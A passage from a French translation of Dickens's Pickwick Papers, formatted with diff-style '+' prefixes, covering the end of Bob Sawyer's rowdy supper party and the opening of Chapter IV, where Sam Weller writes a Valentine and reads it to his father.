+--À propos, Bob, reprit Hopkins en jetant vers le visage attentif de M.
+Pickwick un coup d'oeil à peine perceptible, nous avons eu un curieux
+accident la nuit dernière. On nous a amené un enfant qui avait avalé un
+collier.
+
+--Avalé quoi, monsieur? interrompit M. Pickwick.
+
+--Un collier. Non pas tout à la fois, cela serait trop fort; vous ne
+pourriez pas avaler cela, n'est-ce pas? Hein! monsieur Pickwick. Ha! ha!
+ha!»
+
+Ici M. Hopkins éclata de rire, enchanté de sa propre plaisanterie, puis
+il continua:
+
+«Non, mais voici la chose. Les parents du bambin sont très-pauvres; la
+soeur aînée achète un collier, un collier commun, des grosses boules de
+bois noir. L'enfant, qui aime beaucoup les joujoux, escamote le collier,
+le cache, joue avec coupe le fil et avale une boule. Il trouve que c'est
+une fameuse farce; il recommence le lendemain et avale une autre
+boule....
+
+--Juste ciel! interrompit M. Pickwick, quelle épouvantable chose! Mais
+je vous demande pardon, monsieur; continuez.
+
+--Le lendemain, l'enfant avale deux boules. Le surlendemain, il se
+régale de trois, et ainsi de suite, si bien qu'en une semaine il avait
+expédié tout le collier, vingt-cinq boules en tout. La soeur, qui est
+une jeune fille économe, et qui ne dépense guère d'argent en parure, se
+dessèche les lacrymales à force de pleurer son collier; elle le cherche
+partout, mais je n'ai pas besoin de vous dire qu'elle ne le trouve nulle
+part. Quelques jours après, la famille était à dîner... une épaule de
+mouton cuite au four avec des pommes de terre... l'enfant, qui n'avait
+pas faim, jouait dans la chambra. Voilà que l'on entend un bruit du
+diable, comme s'il était tombé de la grêle. «Ne fais pas ce bruit là,
+mon garçon, dit le père.--Ce n'est pas moi, répond le moutard.--C'est
+bon, dit le père; ne le fais plus alors.» Il y eut un court silence, et
+le bruit recommença de plus belle. «Mon garçon, dit le père, si tu ne
+m'écoutes pas, tu te trouveras dans ton lit en moins de rien.» En même
+temps, il secoue l'enfant, pour lui faire mieux comprendre la chose, et
+voilà qu'il entend un cliquetis terrible. «Dieu me damne! s'écrie-t-il,
+c'est dans le corps de mon fils! Il a le croup dans le ventre!--Non,
+non, papa» dit le moucheron en se mettant à pleurer. C'est le collier de
+ma soeur; je l'ai avalé, papa.» Le père prend l'enfant dans ses bras et
+court avec lui à l'hôpital; et, tout le long du chemin, les boules de
+bois retentissaient dans son estomac à chaque secousse; et les
+boutiquiers cherchaient de tous les côtes d'où venait un si drôle de
+bruit. L'enfant est à l'hôpital maintenant; et il fait tant de tapage en
+marchant, qu'on a été obligé de l'entortiller dans une houppelande de
+watchman, de peur qu'il n'éveille les autres malades.
+
+«Voilà l'accident le plus extraordinaire dont j'aie jamais entendu
+parler! s'écria M. Pickwick, en donnant sur la table un coup de poing
+emphatique.
+
+--Oh! cela n'est rien encore, rétorqua Jack Hopkins. N'est-ce pas, Bob?
+
+--Non, certainement.
+
+--Je vous assure, monsieur, reprit Hopkins, qu'il arrive des choses
+singulières dans notre profession.
+
+--Je le crois facilement, répondit M. Pickwick.»
+
+Un nouveau coup de marteau frappé à la porte annonça un gros jeune
+homme, dont l'énorme tête était ombragée d'une perruque noire. Il
+amenait avec lui un jouvenceau engaîné dans une étroite redingote, et
+qui avait une physionomie scorbutique. Ensuite arriva un gentleman dont
+la chemise était semée de petites ancres rouges. Celui-ci fut suivi de
+près par un pâle garçon, décoré d'une lourde chaîne en chrysocale.
+L'entrée d'un individu maniéré, au linge parfaitement blanc, aux
+bottines de lasting, compléta la réunion. La petite table à la serge
+verte fut amenée; le premier service de punch fut apporté dans un pot
+blanc, et les trois heures suivantes furent dévouées au vingt et un, à
+un demi penny la fiche. Une fois seulement cet agréable jeu fut
+interrompu par une légère difficulté qui s'éleva entre le jeune nomma
+scorbutique et le gentleman aux ancres rouges. À cette occasion le
+premier exprima un brûlant désir de tirer le nez du second, et celui qui
+portait les emblèmes de l'espérance déclara qu'il n'entendait accepter,
+à titre gratuit, aucune insolence, ni de l'irascible jeune homme à la
+contenance scorbutique, ni de tout autre individu, orné d'une tête
+humaine.
+
+Quand la dernière banque fut terminée, et lorsque le compte des fiches
+et des pence fut ajusté à la satisfaction de toutes les parties, M. Bob
+Sawyer sonna pour le souper, et ces convives se comprimèrent dans les
+coins, pendant qu'on servait le festin.
+
+Ce n'était pas une opération aussi facile qu'on pourrait l'imaginer.
+D'abord il fut nécessaire d'éveiller la fille qui était tombée endormie
+sur la table de la cuisine. Cela prit un peu de temps, et même
+lorsqu'elle eut répondu à la sonnette, un autre quart-d'heure s'écoula
+avant qu'on pût exciter chez elle une faible étincelle de raison.
+D'autre part, l'homme à qui on avait demandé des huîtres, n'avait pas
+reçu l'ordre de les ouvrir; or il est très-difficile d'ouvrir une huître
+avec un couteau de table, ou avec une fourchette à deux pointes; aussi
+n'en put-on pas tirer grand parti. Le boeuf n'offrit guère plus de
+ressources, car il n'était pas assez cuit, et l'on en pouvait dire
+autant du jambon, quoiqu'il fût de la boutique allemande du coin de la
+rue. En revanche l'on possédait abondance de _porter_ dans un broc
+d'étain, et il y avait assez de fromage pour contenter tout le monde,
+car il était très-fort. Au total le souper fut aussi bon qu'il l'est en
+général dans une réunion de ce genre.
+
+Après souper, un autre bol de punch fut placé sur la table, avec un
+paquet de cigares et deux bouteilles d'eau-de-vie. Mais alors il y eut
+une pause pénible, occasionnée par une circonstance fort commune en
+pareille occasion et qui pourtant n'en est pas moins embarrassante.
+
+Le fait est que la fille était occupée à laver les verres.
+L'établissement s'enorgueillissait d'en posséder quatre; ce que nous ne
+rapportons nullement comme étant injurieux à Mme Raddle, car il n'y a
+jamais eu, jusqu'à présent, d'appartement garni où l'on ne fût pas à
+court de verres. Ceux de l'hôtesse étaient des petits goblets, étroits
+et minces; ceux qu'on avait empruntés l'auberge voisine étaient de
+grands vases soufflés, hydropiques, portés, chacun, sur un gros pied
+goutteux. Ceci, de soi, aurait été suffisant pour avertir la compagnie
+de l'état réel des affaires; mais la jeune servante _factotum_, pour
+empêcher la possibilité du doute à cet égard, s'était emparée violemment
+de tous les verres, longtemps avant que la bière fût finie, en déclarant
+hautement, malgré les clins d'oeil et les interruptions de l'amphytrion,
+qu'elle allait les porter en bas pour les rincer.
+
+C'est, dit le proverbe, un bien mauvais vent que celui qui ne souffle
+rien de bon pour personne. L'homme maniéré, aux bottines d'étoffe,
+s'était inutilement efforcé d'accoucher d'une plaisanterie durant la
+partie. Il remarqua l'occasion et la saisit aux cheveux. À l'instant où
+les verres disparurent, il commença une longue histoire, au sujet d'une
+réponse singulièrement heureuse, faite par un grand personnage
+politique, dont il avait oublié le nom, à un autre individu également
+noble et illustre, dont il n'avait jamais pu vérifier l'identité. Il
+s'étendit soigneusement et avec détail sur diverses circonstances
+accessoires, mais il ne put jamais venir à bout, dans ce moment, de se
+rappeler la réponse même, quoiqu'il eût l'habitude de raconter cette
+anecdote, avec grand succès, depuis dix années.
+
+«Voilà qui est drôle! s'écria l'homme maniéré, est-ce extraordinaire
+d'oublier ainsi!
+
+--J'en suis fâché, dit Bob, en regardant avec anxiété vers la porte, car
+il croyait avoir entendu un froissement de verres, j'en suis très-fâché!
+
+--Et moi aussi, répliqua le narrateur, parce que je suis sûr que cela
+vous aurait bien amusé. Mais ne vous chagrinez pas, d'ici à une
+demi-heure, ou environ, j'espère bien parvenir à m'en souvenir.»
+
+L'homme maniéré en était là, lorsque les verres revinrent; et M. Bob
+Sawyer qui jusqu'alors était resté comme absorbé lui dit en souriant
+gracieusement, qu'il serait enchanté d'entendre la fin de son histoire,
+et que, telle qu'elle était, c'était la meilleure qu'il eût jamais oui
+raconter.
+
+En effet, la vue des verres avait replacé notre ami Bob dans un état
+d'équanimité qu'il n'avait pas connu depuis son entrevue avec l'hôtesse.
+Son visage s'était éclairci, et il commençait à se sentir tout à fait à
+son aise.
+
+«Maintenant, Betsy, dit-il avec une grande suavité, en dispersant le
+petit rassemblement de verres que la jeune fille avait concentré au
+milieu de la table; maintenant, Betsy de l'eau chaude, et dépêchez-vous,
+comme une brave fille.»
+
+--Vous ne pouvez pas avoir d'eau chaude, répliqua Betsy.
+
+--Pas d'eau chaude! s'écria Bob.
+
+--Non, reprit la servante avec un hochement de tête plus négatif que
+n'aurait pu l'être le langage le plus verbeux, madame a dit que vous
+c'en auriez point.»
+
+La surprise qui se peignait sur le visage des invités inspira un nouveau
+courage à l'amphitryon.
+
+«Apportez de l'eau chaude sur-le-champ, sur-le-champ! dit-il avec le
+calme du désespoir.
+
+--Mais je ne peux pas! Mme Raddle a éteint le feu et enfermé la
+bouilloire avant d'aller se coucher.
+
+--Oh! c'est égal, c'est égal, ne vous tourmentez pas pour si peu, dit M.
+Pickwick, en remarquant le tumulte des passions qui agitaient la
+physionomie de Bob Sawyer, de l'eau froide sera tout aussi bonne.
+
+--Oui, certainement, ajouta Benjamin Allen.
+
+--Mon hôtesse est sujette à de légères attaques de dérangement mental,
+dit Bob avec un sourire glacé. Je crains d'être obligé de lui donner
+congé.
+
+--Non, non, fit Benjamin.
+
+--Je crains d'y être obligé, poursuivit Bob, avec une fermeté héroïque.
+Je lui payerai ce que je lui dois, et je lui donnerai congé ce matin.»
+
+Pauvre garçon! avec quelle dévotion il souhaitait de pouvoir le faire!
+
+Les lamentables efforts de Bob pour se relever de ce dernier coup,
+communiquèrent leur influence décourageante à la compagnie. La plupart
+de ses hôtes, pour ranimer leurs esprits, s'attachèrent avec un surcroît
+de cordialité au grog froid, dont les premiers effets se firent sentir
+par un renouvellement d'hostilités entre le jeune homme scorbutique et
+le propriétaire de la chemise pleine d'espoir. Les belligérants
+signalèrent pendant quelque temps leur mépris mutuel par une variété de
+froncements de sourcil et de reniflements; mais à la fin, le jeune
+scorbutique sentit qu'il était nécessaire de provoquer un
+éclaircissement. On va voir comment il s'y prit pour cela.
+
+«Sawyer, dit-il d'une voix retentissante.
+
+--Eh bien, Noddy, répondit l'amphitryon.
+
+--Je serais très-fâché, Sawyer, d'occasionner le moindre désagrément à
+la table d'un ami, et surtout à la vôtre, mon cher; mais je me crois
+obligé de saisir cette occasion d'informer M. Gunter qu'il n'est pas un
+gentleman.
+
+--Et moi, Sawyer, reprit M. Gunter, je serais très-fâché d'occasionner
+le moindre vacarme dans la rue que vous habitez, mais j'ai peur d'être
+obligé d'alarmer les voisins, en jetant par la fenêtre la personne qui
+vient de parler.
+
+--Qu'est-ce que vous entendez par là, monsieur, demanda M. Noddy?
+
+--J'entends ce que j'ai dit, monsieur.
+
+--Je voudrais bien voir cela, monsieur!
+
+--Vous allez le sentir dans une minute, monsieur.
+
+--Je vous serai obligé de me donner votre carte, monsieur.
+
+--Je n'en ferai rien, monsieur.
+
+--Pourquoi pas, monsieur?
+
+--Parce que vous la placeriez à votre glace, pour faire croire que vous
+avez reçu la visite d'un gentleman.
+
+--Monsieur, un de mes amis ira vous parler demain matin.
+
+--Je vous suis très-obligé de m'en prévenir, monsieur; j'aurai soin de
+dire au domestique d'enfermer l'argenterie.»
+
+En cet endroit du dialogue, les assistants s'interposèrent et
+représentèrent aux deux parties l'inconvenance de leur conduite. En
+conséquence, M. Noddy déclara que son père était aussi respectable que
+le père de M. Gunter. À quoi M. Gunter rétorqua que son père était tout
+aussi respectable que le père de M. Noddy, et que, tous les jours de la
+semaine, le fils de son père valait bien M. Noddy. Comme cette
+déclaration semblait préluder au renouvellement de la dispute, il y eut
+une autre intervention de la part de la compagnie; il s'en suivit une
+vaste quantité de paroles et de cris, pendant lesquels M. Noddy se
+laissa vaincre graduellement par son émotion, et protesta qu'il avait
+toujours professé pour M. Gunter un attachement et un dévouement sans
+bornes. À cela, M. Gunter répliqua, qu'au total, il préférait peut-être
+M. Noddy à son propre frère. En entendant cette déclaration, M. Noddy se
+leva avec magnanimité, et tendit la main à M. Gunter; M. Gunter la
+secoua avec une ferveur touchante, et chacun convint que toute cette
+discussion avait été conduite d'une manière grandement honorable pour
+les deux parties belligérantes.
+
+«Maintenant, Bob, pour vous remettre à flot, dit M. Jack Hopkins, je ne
+demande pas mieux que de chanter une chanson.» Cette proposition ayant
+été accueillie par des applaudissements tumultueux, Hopkins se plongea
+immédiatement dans _God save the King_, qu'il chanta de toutes ses
+forces sur un nouvel air composé de la _Baie de Biscaye_ et de _Une
+grenouille volait_. Le refrain était l'essence de la chanson, et comme
+chaque gentleman le chantait en choeur, sur l'air qu'il savait le mieux,
+l'effet en était réellement saisissant.
+
+À la fin du choeur du premier couplet, M. Pickwick leva la main pour
+réclamer l'attention des assistants, et dit, aussitôt que la
+tranquillité fut rétablie:
+
+«Chut! je vous demande pardon, mais il me semble que j'entends appeler
+là-haut.»
+
+Un profond silence se fit, et l'on remarqua que M. Bob Sawyer pâlissait.
+
+«Je crois que j'entends encore le même bruit, poursuivit M. Pickwick.
+Ayez la bonté d'ouvrir la porte.»
+
+À peine la porte fut-elle ouverte que toute espèce de doute se trouva
+dissipé.
+
+«M. Sawyer! M. Sawyer! criait une voix au second étage.
+
+--C'est mon hôtesse, dit Bob en regardant ses invités avec angoisse.
+Oui, Mme Raddle.
+
+--Qu'est-ce que cela signifie, M. Sawyer? répéta la voix avec une aigre
+rapidité. C'est donc pas assez de m'escroquer mon loyer et l'argent que
+j'ai payé pour vous de ma poche, et de me faire insulter par vos amis,
+qui ont le front de s'appeler des hommes, il faut encore que vous
+fassiez un sabbat capable d'attirer les pompiers et de faire tomber la
+maison par les fenêtres, et ça à deux heures du matin. Renvoyez-moi ces
+gens-là!
+
+--Vous devriez mourir de honte, ajouta la voix de M. Raddle, laquelle
+paraissait sortir de dessous quelques couvertures lointaines.
+
+--Mourir de honte, certainement, répéta sa douce moitié. Mais vous,
+poule mouillée que vous êtes, pourquoi n'allez vous pas les rouler en
+bas des escaliers? Voilà ce que vous feriez si vous étiez un homme.
+
+--Voilà ce que je ferais, si j'étais une douzaine d'hommes, ma chère,
+répliqua pacifiquement le mari. Dans ce moment ici, ils ont un peu trop
+l'avantage du nombre sur moi.
+
+--Hou! le poltron, rétorqua Mme Raddle avec un mépris suprême. M.
+Sawyer, voulez-vous renvoyer ces gens, oui ou non?
+
+--Ils s'en vont, Mme Raddle, ils s'en vont, dit le misérable Bob. Je
+crois que vous feriez mieux de vous en aller, ajouta-t-il à ses amis, je
+pensais effectivement que vous faisiez trop de bruit.
+
+--C'est bien malheureux, fit observer l'homme maniéré, juste au moment
+où nous devenions si confortables! (Le fait est qu'il venait de
+retrouver un souvenir confus de son histoire.) C'est difficile à
+digérer, continua-t-il en regardant autour de lui, c'est difficile à
+digérer, hein!
+
+--Il ne faut pas endurer cela, répliqua Hopkins. Chantons l'autre
+couplet, Bob, allons!
+
+--Non, non, Jack, ne chantez pas! s'empressa de dire le triste
+amphitryon. C'est une superbe chanson, mais je crois que nous ferons
+mieux d'en rester là. Les gens de cette maison sont très-violents,
+excessivement violents.
+
+--Voulez-vous que je monte en haut et que j'entreprenne le propriétaire?
+dit Hopkins, ou que je carillonne à la sonnette, ou que j'aille aboyer
+sur l'escalier? Disposez de moi, Bob.
+
+--Je suis bien obligé à votre amitié et à votre bon naturel, répondit le
+malheureux Bob, mais je crois que le meilleur plan, pour éviter toute
+dispute, est de nous séparer sur-le-champ.
+
+--Eh bien! M. Sawyer, cria la voix aigüe de Mme Raddle, s'en vont-ils,
+ces brigands?
+
+--Ils cherchent leurs chapeaux, Mme Raddle; ils s'en vont à la minute.
+
+--C'est heureux! s'écria Mme Raddle en allongeant son bonnet de nuit
+par-dessus la rampe, juste au moment où M. Pickwick, suivi de M. Tupman,
+sortait de la chambre. C'est heureux! Ils auraient pu se dispenser de
+venir.
+
+--Ma chère dame, dit M. Pickwick en levant la tête....
+
+--Allez-vous-en, vieux farceur! rétorqua Mme Raddle, en ôtant
+précipitamment son bonnet de nuit. Assez vieux pour être son grand-père,
+le débauché! Vous êtes le pire de tous.»
+
+M. Pickwick reconnut qu'il était inutile de protester de son innocence.
+Il descendit donc rapidement l'escalier, et fut rejoint dans la rue par
+MM. Tupman, Winkle et Snodgrass. M. Ben Allen, qui était affreusement
+contristé par l'eau-de-vie et par l'agitation de cette scène, les
+accompagna jusqu'au pont de Londres, et le long du chemin confia à M.
+Winkle, comme à une personne singulièrement digne de sa confidence,
+qu'il était décidé à couper la gorge de tout gentleman, autre que M. Bob
+Sawyer, qui oserait aspirer à l'affection de sa soeur Arabelle. Ayant
+exprimé sa détermination d'exécuter avec une fermeté convenable ce
+pénible devoir fraternel, il fondit en larmes, enfonça son chapeau sur
+ses yeux, et reprenant son chemin le mieux possible, il s'arrêta devant
+la porte du marché du Borough. Là, jusqu'au point du jour, il s'occupa à
+frapper à coups redoublés et à faire alternativement de petits sommes
+sur les marches de pierre, dans la ferme persuasion qu'il était devant
+sa porte, et qu'il en avait oublié la clef.
+
+Les invités étant ainsi partis, grâce à la requête assez pressante de
+Mme Raddle, l'infortuné Bob se trouva libre de méditer sur les
+événements probables du lendemain et sur les plaisirs de la soirée.
+
+
+
+
+CHAPITRE IV.
+
+M. Weller _senior_ profère quelques opinions critiques concernant les
+compositions littéraires; puis avec l'assistance de son fils Samuel, il
+s'acquitte d'une partie de sa dette envers le révérend gentleman au nez
+rouge.
+
+
+Le 13 février, comme le savent aussi bien que nous les lecteurs de cette
+authentique narration, était la veille du jour désigné pour le jugement
+de l'action intentée par Mme Bardell. Ce fut une journée fatigante pour
+Samuel Weller, qui fut occupé sans interruption, depuis 9 heures du
+matin jusqu'à 2 heures de l'après-midi, inclusivement, à voyager de
+l'hôtel de M. Pickwick au cabinet de M. Perker, et réciproquement; non
+pas qu'il y eût la moindre chose à faire, car les consultations avaient
+eu lieu, et l'on avait définitivement arrêté la marche qui devait être
+suivie, mais M. Pickwick se trouvant dans un état d'excitation
+excessive, persistait à envoyer constamment à son avoué de petites notes
+contenant seulement cette demande: _Cher Perker, tout marche-t-il
+bien?_--À quoi M. Perker répondait invariablement: _Cher Pickwick, aussi
+bien que possible_. Le fait est, comme nous l'avons déjà fait entendre,
+que rien ne pouvait marcher, soit bien, soit mal, jusqu'à l'audience du
+jour subséquent. Mais on doit passer aux gens qui vont volontairement
+devant un tribunal, ou qui y sont traînés forcément pour la première
+fois, l'irritation temporaire et l'anxiété dont ils sont atteints. Sam
+n'ignorait pas cela, il savait se prêter philosophiquement aux
+faiblesses de la nature humaine; aussi exécuta-t-il toutes les
+fantaisies de son maître, avec cette bonne humeur imperturbable qui
+formait l'un des traits les plus frappants et les plus aimables de son
+caractère.
+
+Il s'était réconforté avec un petit dîner fort agréable, et attendait à
+la buvette la chaude mixture que M. Pickwick l'avait engagé à prendre
+pour noyer les fatigues de ses promenades matinales, lorsqu'un jeune
+garçon, dont la casquette à poil, la jaquette de flanelle et toute la
+tournure, annonçaient qu'il avait la louable ambition d'atteindre un
+jour la dignité de palefrenier, entra dans le passage du _George et
+Vautour_, et regarda d'abord sur l'escalier, ensuite le long du corridor
+puis enfin dans la buvette, comme s'il avait cherché quelqu'un pour qui
+il aurait eu une commission.
+
+La demoiselle de comptoir ne considérant pas comme improbable que ladite
+commission eût pour objet l'argenterie de l'établissement, accosta en
+ces termes l'indiscret personnage:
+
+«Eh bien! jeune nomme, qu'est-ce que vous voulez?
+
+--Y a-t-il ici quettes un appelé Sam? répondit le gamin d'une voix de
+fausset.
+
+--Et l'aut' nom? demanda Sam en se retournant.
+
+--Est-ce que j'sais, moi, rétorqua vivement le jeune gentleman à la
+casquette velue.
+
+--Vous avez l'air joliment fin, mon p'tit, mais à vot' place, je ne
+ferais pas trop voir ma finesse ici, on pourrait vouloir vous
+l'émousser. Qu'est-ce que ça veut dire de venir dans un hôtel, demander
+après Sam, avec autant de politesse qu'un sauvage indien?
+
+--Parce qu' i' y a un vieux qui me l'a dit.
+
+--Quel vieux? demanda Sam avec un profond dédain.
+
+--Celui-là qui conduit la voiture d'Ipswick et qui remise à not'
+auberge. Il m'a dit hier matin de venir c't' après-midi au _George et
+Vautour_, et de demander Sam.
+
+--C'est mon auteur, ma chère, dit Sam, en se tournant d'un air
+explicatif vers la demoiselle de comptoir. Dieu me bénisse s'il sait mon
+autre nom! Eh bien! jeune chou frisé qu'est-ce qu'il y a encore?
+
+--Y a qu'i' dit que vous veniez chez nous à six heures, parce qu'i' veut
+vous voir, à _l'Ours Bleu_, près du marché de Leadenhall. J'y dirai-t-i'
+que vous viendrez?
+
+--Oui, monsieur, répliqua Sam avec une exquise politesse; vous pouvez
+vous aventurer à dire cela.»
+
+Ayant reçu ces pleins pouvoirs, le jeune gentleman s'éloigna, éveillant
+en chemin tous les échos de George Yard, par des imitations
+singulièrement sonores et correctes du sifflet d'un bouvier.
+
+Sam obtint facilement un congé de M. Pickwick, car dans l'état
+d'excitation et de mécontentement où se trouvait notre philosophe, il
+n'était pas fâché de demeurer seul. Sam se mit donc en route, longtemps
+avant l'heure indiquée, et ayant du temps à revendre, s'en alla tout en
+flânant jusqu'à Mansion-House[4]. Là, il s'arrêta et s'occupa à
+contempler, avec un calme philosophique, les nombreux cabriolets et les
+innombrables voitures de toute espèce qui stationnent aux environs, à la
+grande terreur et confusion des vieilles femmes du royaume uni de
+Grande-Bretagne et d'Irlande. Ayant musé dans cet endroit pendant une
+demi-heure, Sam se remit en route, et se dirigea vers le marché de
+Leadenhall, à travers une multitude de ruelles et de cours. Comme il
+travaillait à perdre son temps, et s'arrêtait devant presque tous les
+objets qui frappaient sa vue, on ne doit nullement s'étonner de ce qu'il
+fit une pose devant la demeure d'un petit papetier; mais ce qui sans
+autre explication paraîtrait surprenant, c'est qu'à peine ses yeux
+s'étaient-ils arrêtés sur certaines peintures exposées aux vitres de la
+boutique, qu'il tressaillit violemment, frappa énergiquement de sa main
+droite sur sa cuisse, et s'écria avec grande véhémence: «Ma foi,
+j'aurais oublié de lui en envoyer un! Je ne me serais pas rappelé que
+c'est demain la Saint-Valentin![5].»
+
+[Footnote 4: Hôtel du maire de Londres ou hôtel de ville.]
+
+[Footnote 5: Tous les papetiers exposent pendant une quinzaine de jours
+avant la Saint-Valentin des déclarations enjolivées dont le prix varie
+de deux sols à trois ou quatre francs, lesquelles sont destinées aux
+amoureux et amoureuses qui n'ont pas assez d'imagination pour composer
+eux-mêmes une des épîtres qu'on expédie par centaines de milliers en
+cette saison.]
+
+Le dessin colorié sur lequel s'étaient arrêtés les yeux de Sam, tandis
+qu'il parlait ainsi, représentait deux coeurs humains, hauts en couleur,
+fixés ensemble par une flèche, et qui cuisaient devant un feu ardent. Un
+couple de cannibales, mâle et femelle, en costume moderne (le gentleman
+vêtu d'un habit bleu et d'un pantalon blanc, la dame d'une pelisse rouge
+avec un parasol pareil), s'avançaient vers ce rôti, d'un air affamé et
+par un sentier couvert d'un sable fin. Un petit garçon fort immodeste
+(car il n'avait pour tout vêtement qu'une paire d'ailes), surveillait la
+cuisine. Dans le fond on distinguait le clocher de l'église de Langham;
+bref, cela représentait une de ces lettres d'amour qu'on nomme un
+_Valentin_[6]. Il s'en trouvait dans la boutique un vaste assortiment,
+comme l'annonçait une inscription manuscrite collée au carreau, et le
+papetier s'engageait à les livrer à ses concitoyens au prix modéré d'un
+shilling six pence.
+
+[Footnote 6: Parce qu'elles se terminent presque toujours par ces mots:
+_Voulez-vous de moi pour votre Valentin?_]
+
+«Eh bien! je n'aurais jamais songé à lui en envoyer un,» répéta Sam; et
+en parlant ainsi, il entra tout droit dans la boutique, et demanda une
+feuille du plus beau papier à lettre doré sur tranche, ainsi qu'une
+plume taillée dur et garantie pour ne pas cracher. Ayant obtenu
+promptement ces objets, il se remit en route d'un bon pas, fort
+différent de l'allure nonchalante qu'il avait auparavant. Arrivé près du
+marché de Leadenhall, il regarda autour de lui, et vit une enseigne sur
+laquelle le peintre avait dessiné quelque chose qui ressemblait à un
+éléphant bleu de ciel, avec un nez aquilin au lieu de trompe.
+Conjecturant judicieusement que c'était l'_Ours Bleu_ en personne, Sam
+entra dans la maison, et demanda l'auteur de ses jours.
+
+«Il ne sera pas ici avant trois quarts d'heure, au plus tôt, répondit la
+jeune lady qui dirigeait les arrangements domestiques de l'_Ours Bleu_.
+
+--Très-bien, ma chère, répliqua Sam. Faites-moi donner pour neuf pence
+d'eau-de-vie, avec de l'eau chaude, et l'encrier s'il vous plaît, miss.»
+
+L'eau-de-vie et l'eau chaude avec l'encrier ayant été apportés dans le
+petit parloir, la jeune lady aplatit soigneusement le charbon de terre
+pour l'empêcher de flamber, et emporta le fourgon pour ôter toute
+possibilité d'attiser le feu, sans avoir obtenu préalablement le
+consentement et la participation de l'_Ours Bleu_. Pendant ce temps,
+Sam, assis dans une stalle, près du poële, tirait de sa poche la feuille
+de papier doré et la plume au bec dur, examinait soigneusement la fente
+de celle-ci, pour voir s'il ne s'y trouvait point de poil, époussetait
+la table, de peur qu'il n'y eût des miettes de pain sous son papier,
+relevait les parements de son habit, étalait ses coudes, et se préparait
+à écrire.
+
+Écrire une lettre n'est pas la chose du monde la plus facile, pour les
+ladies et les gentlemen qui ne se dévouent pas habituellement à la
+science de la calligraphie. Dans des cas semblables, l'écrivain a
+toujours considéré comme nécessaire d'incliner sa tête sur son bras
+gauche, de manière à placer ses yeux, autant que possible, au même
+niveau que son papier, et, tout en considérant de côté les lettres qu'il
+construit, de former avec sa langue des caractères imaginaires pour y
+correspondre. Or, quoique ces mouvements favorisent incontestablement la
+composition, ils retardent quelque peu les progrès de l'écrivain. Aussi
+y avait-il plus d'une heure et demie que Sam s'appliquait à écrire, en
+caractères menus, effaçant avec son petit doigt les mauvaises lettres,
+pour en mettre d'autres à la place, et repassant plusieurs fois sur
+celles-ci, afin de les rendre lisibles, lorsqu'il fut rappelé à
+lui-même, par l'entrée du respectable M. Weller.
+
+«Eh ben! Sammy, dit le père.
+
+--Eh bien! Bleu de Prusse, répondit le fils, en déposant sa plume. Que
+dit le dernier bulletin de la santé de belle-mère?
+
+--Mme Weller a passé une bonne nuit; mais elle est d'une humeur joliment
+massacrante ce matin. Signé z'avec serment Tony Weller, squire. Voilà le
+dernier bulletin, Sammy, répliqua M. Weller en dénouant son châle.
+
+--Ça ne va donc pas mieux?
+
+--Tous les symptômes agravés, dit le père en hochant la tête. Mais
+qu'est-ce que vous faites donc là Sammy? Instruction primaire, hein?
+
+--J'ai fini maintenant, répondit Sam avec un léger embarras; j'étais en
+train d'écrire.
+
+--Je le vois bien, pas à une jeune femme, j'espère?
+
+--Ma foi, ça ne sert à rien de dissimuler, c'est un Valentin.
+
+--Un quoi? s'écria le père, que le son de ces mots semblait frapper
+d'horreur.
+
+--Un Valentin.
+
+--Samivel, Samivel! reprit le père d'un ton plein de reproches, je
+n'aurais pas cru cela de toi, après l'exemple que tu as eu des penchants
+vicieux de ton père, après tout ce que je t'ai raisonné sur ce sujet
+ici, après avoir vécu toi-même avec ta belle-mère, qu'est une leçon
+morale qu'un homme ne doit pas oublier, jusqu'à la fin de ses jours; je
+ne pensais pas que tu aurais fait cela, Samivel, non, je ne l'aurais pas
+cru!»
+
+Ces réflexions étaient trop pénibles pour l'infortuné père; il porta le
+verre de Sam à ses lèvres, et en but le contenu, tout d'un trait.
+
+«Comment ça va-t-il maintenant? lui demanda son fils.
+
+--Ah! Sammy, ça sera une furieuse épreuve de voir ça à mon âge!
+Heureusement que je suis passablement coriace, et c'est une consolation,
+comme disait le vieux dindon, quand le fermier l'avertit qu'il était
+obligé de le tuer pour le porter au marché.
+
+--Qu'est-ce qui sera une épreuve?
+
+--De te voir marié, Sammy; de te voir comme une victime abusée, qui
+s'imagine que tout est rose. C'est une épreuve effroyable pour les
+sentiments d'un père, Sammy!
+
+--Bêtises! je ne suis pas pour me marier; ne vous vexez pas pour cela.
+Demandez plutôt votre pipe, je m'en vas vous lire ma lettre; là!»
+
+Nous ne saurions dire positivement si le chagrin de M. Weller fut calmé
+par la perspective de sa pipe ou par la pensée qu'il y avait dans sa
+famille une propension fatale au mariage, contre laquelle il était
+inutile de vouloir lutter. Nous sommes porté à croire que cet heureux
+résultat fut atteint à la fois par ces deux sources combinées de
+consolation, car il répéta fréquemment la seconde à voix basse, pendant
+qu'il sonnait pour se faire apporter la première. Ensuite il se
+débarrassa de sa houppelande, alluma sa pipe, et se plaça le dos au feu,
+de manière à en recevoir toute la chaleur et à s'appuyer en même temps
+sur le manteau de la cheminée; puis il tourna vers Sam son visage
+notablement adouci par la bénigne influence du tabac, et l'engagea à
+démarrer.
+
+Sam plongea sa plume dans l'encre pour être prêt à faire des
+corrections, et commença d'un air théâtral.
+
+«Aimable....»
+
+«Halte! dit M. Weller en tirant la sonnette. Un double verre de
+l'invariable, ma chère.
+
+--Très-bien, monsieur, répondit la jeune fille; et avec une singulière
+prestesse elle disparut, revint et redisparut.
+
+--Ils ont l'air de connaître vos idées, ici, fit observer Sam.
+
+--Oui, répondit son père; j'y ai z'été qué'que fois dans ma vie. Allons
+Sam.»
+
+«Aimable créature....»
+
+«Est-ce que c'est des verses?
+
+--Non, non.
+
+--Tant mieux. Les verses, ce n'est pas naturel. I' n'y a pas un homme
+qui parle en verses, excepté la circulaire du bedeau, le jour des
+étrennes, les annonces du cirage de Warren, ou l'huile de Macassar, ou
+qué'que gens de ce poil là. Ne te laisse jamais aller à parler en
+verses, mon garçon, c'est trop commun! Recommence-moi un peu ça, Sammy.»
+
+Cela dit, M. Weller reprit sa pipe avec une solennité d'Aristarque, et
+Sam, recommençant pour la troisième fois, lut ainsi qu'il suit:
+
+«Aimable créature, je sens que mon coeur est bigrement....»
+
+«Cela n'est pas convenable, interrompit M. Weller, en ôtant sa pipe de
+sa bouche.
+
+--Non, ça n'est pas bigrement, dit Sam, en tournant la lettre plus au
+jour. C'est joliment; il y a un pâté là. Je sens que mon coeur est
+joliment tonteux.
+
+--Très-bien, marchez.
+
+--Est joliment tonteux et sir.... J'ai oublié le mot qu'il y a là, dit
+Sam, en se grattant l'oreille avec sa plume.
+
